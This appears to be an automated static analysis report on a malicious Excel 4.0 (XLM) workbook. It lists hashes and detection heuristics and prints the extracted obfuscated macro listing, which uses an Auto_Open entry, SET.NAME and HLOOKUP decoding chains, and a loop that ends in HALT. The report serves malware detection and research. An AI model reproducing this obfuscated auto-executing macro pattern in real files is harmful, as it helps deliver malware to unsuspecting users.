Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8cb6410e1e43ec41…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:46:19 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 1c4251b8c86413fdb72d82edd5c8faba SHA-1: e99877e868fa3d77c71dd0b522a0fa2566dee50e SHA-256: 8cb6410e1e43ec41b02d5f841371272a72295b183006aa8726b68d020fe3f3e2
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6988 bytes
SHA-256: d9b2e224e5134824c2d9e3a16808deeafdf3c290c08d5d7bd72c1a2bf794d063
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PAPFIFpTsbZ
' 0018     24 LABEL : Cell Value, String Constant - ACGuEUtmq len=0 
' 0018     20 LABEL : Cell Value, String Constant - Ahmlv len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B165 
' 0018     20 LABEL : Cell Value, String Constant - bpUGv len=0 
' 0018     21 LABEL : Cell Value, String Constant - cPMHbF len=0 
' 0018     24 LABEL : Cell Value, String Constant - cstMLxCEV len=0 
' 0018     23 LABEL : Cell Value, String Constant - CUWfbzuO len=0 
' 0018     20 LABEL : Cell Value, String Constant - EgSvb len=0 
' 0018     21 LABEL : Cell Value, String Constant - gnWiAd len=0 
' 0018     24 LABEL : Cell Value, String Constant - HdlNCEuPw len=0 
' 0018     27 LABEL : Cell Value, String Constant - oYFYDyWaPJfk len=0 
' 0018     27 LABEL : Cell Value, String Constant - qGvpOAHoAlcG len=0 
' 0018     26 LABEL : Cell Value, String Constant - RDfXaVDzeFs len=0 
' 0018     21 LABEL : Cell Value, String Constant - riwirz len=0 
' 0018     25 LABEL : Cell Value, String Constant - vjJvzQYzQT len=0 
' 0018     23 LABEL : Cell Value, String Constant - vOnSVnbO len=0 
' 0018     22 LABEL : Cell Value, String Constant - wMmpJzW len=0 
' 0018     24 LABEL : Cell Value, String Constant - WygndCEyg len=0 
' 0018     25 LABEL : Cell Value, String Constant - YfmobxUSqH len=0 
' 0018     27 LABEL : Cell Value, String Constant - YydRbsBhnuKX len=0 
' 0018     22 LABEL : Cell Value, String Constant - YZfSKYF len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PAPFIFpTsbZ,B72,"SET.NAME("RDfXaVDzeFs",0+VALUE("0"))",""
'  PAPFIFpTsbZ,B75,"SET.NAME("YZfSKYF",RDfXaVDzeFs)",""
'  PAPFIFpTsbZ,B77,"SET.NAME("ACGuEUtmq",RDfXaVDzeFs)",""
'  PAPFIFpTsbZ,B80,"SET.NAME("gnWiAd",COUNTA(oYFYDyWaPJfk))",""
'  PAPFIFpTsbZ,B85,"SET.NAME("qGvpOAHoAlcG",COUNTA(riwirz))",""
'  PAPFIFpTsbZ,B88,[],""
'  PAPFIFpTsbZ,B92,"SET.NAME("HdlNCEuPw","")",""
'  PAPFIFpTsbZ,B95,"YZfSKYF",""
'  PAPFIFpTsbZ,S96,"",498.00000000000000000000
'  PAPFIFpTsbZ,S97,"",-272.00000000000000000000
'  PAPFIFpTsbZ,B98,"SET.NAME("wMmpJzW",HLOOKUP("*",oYFYDyWaPJfk,YZfSKYF,FALSE))",""
'  PAPFIFpTsbZ,S98,"",-402.00000000000000000000
'  PAPFIFpTsbZ,S99,"",-919.00000000000000000000
'  PAPFIFpTsbZ,B100,"CUWfbzuO",""
'  PAPFIFpTsbZ,S100,"",-413.00000000000000000000
'  PAPFIFpTsbZ,S101,"",432.00000000000000000000
'  PAPFIFpTsbZ,B105,"SET.NAME("vjJvzQYzQT",RDfXaVDzeFs)",""
'  PAPFIFpTsbZ,B109,[],""
'  PAPFIFpTsbZ,B113,"vjJvzQYzQT",""
'  PAPFIFpTsbZ,B117,"cstMLxCEV",""
'  PAPFIFpTsbZ,B121,"Ahmlv",""
'  PAPFIFpTsbZ,B124,"YfmobxUSqH",""
'  PAPFIFpTsbZ,B127,"SET.NAME("YydRbsBhnuKX",VALUE(HLOOKUP("*",riwirz,YfmobxUSqH,FALSE)))",""
'  PAPFIFpTsbZ,B132,"bpUGv",""
'  PAPFIFpTsbZ,B137,"HdlNCEuPw",""
'  PAPFIFpTsbZ,B141,"ACGuEUtmq",""
'  PAPFIFpTsbZ,B143,NEXT(),""
'  PAPFIFpTsbZ,B147,"cPMHbF",""
'  PAPFIFpTsbZ,B151,[],""
'  PAPFIFpTsbZ,B154,"vOnSVnbO",""
'  PAPFIFpTsbZ,B157,NEXT(),""
'  PAPFIFpTsbZ,B160,RETURN(),""
'  PAPFIFpTsbZ,B183,"SET.NAME("EgSvb",B72)",""
'  PAPFIFpTsbZ,B185,"oYFYDyWaPJfk",""
'  PAPFIFpTsbZ,B189,"SET.NAME("riwirz",R43C12)",""
'  PAPFIFpTsbZ,B194,"SET.NAME("vOnSVnbO",201)",""
'  PAPFIFpTsbZ,B197,"SET.NAME("WygndCEyg",2)",""
'  PAPFIFpTsbZ,B200,EgSvb(),""
'  PAPFIFpTsbZ,B201,HALT(),""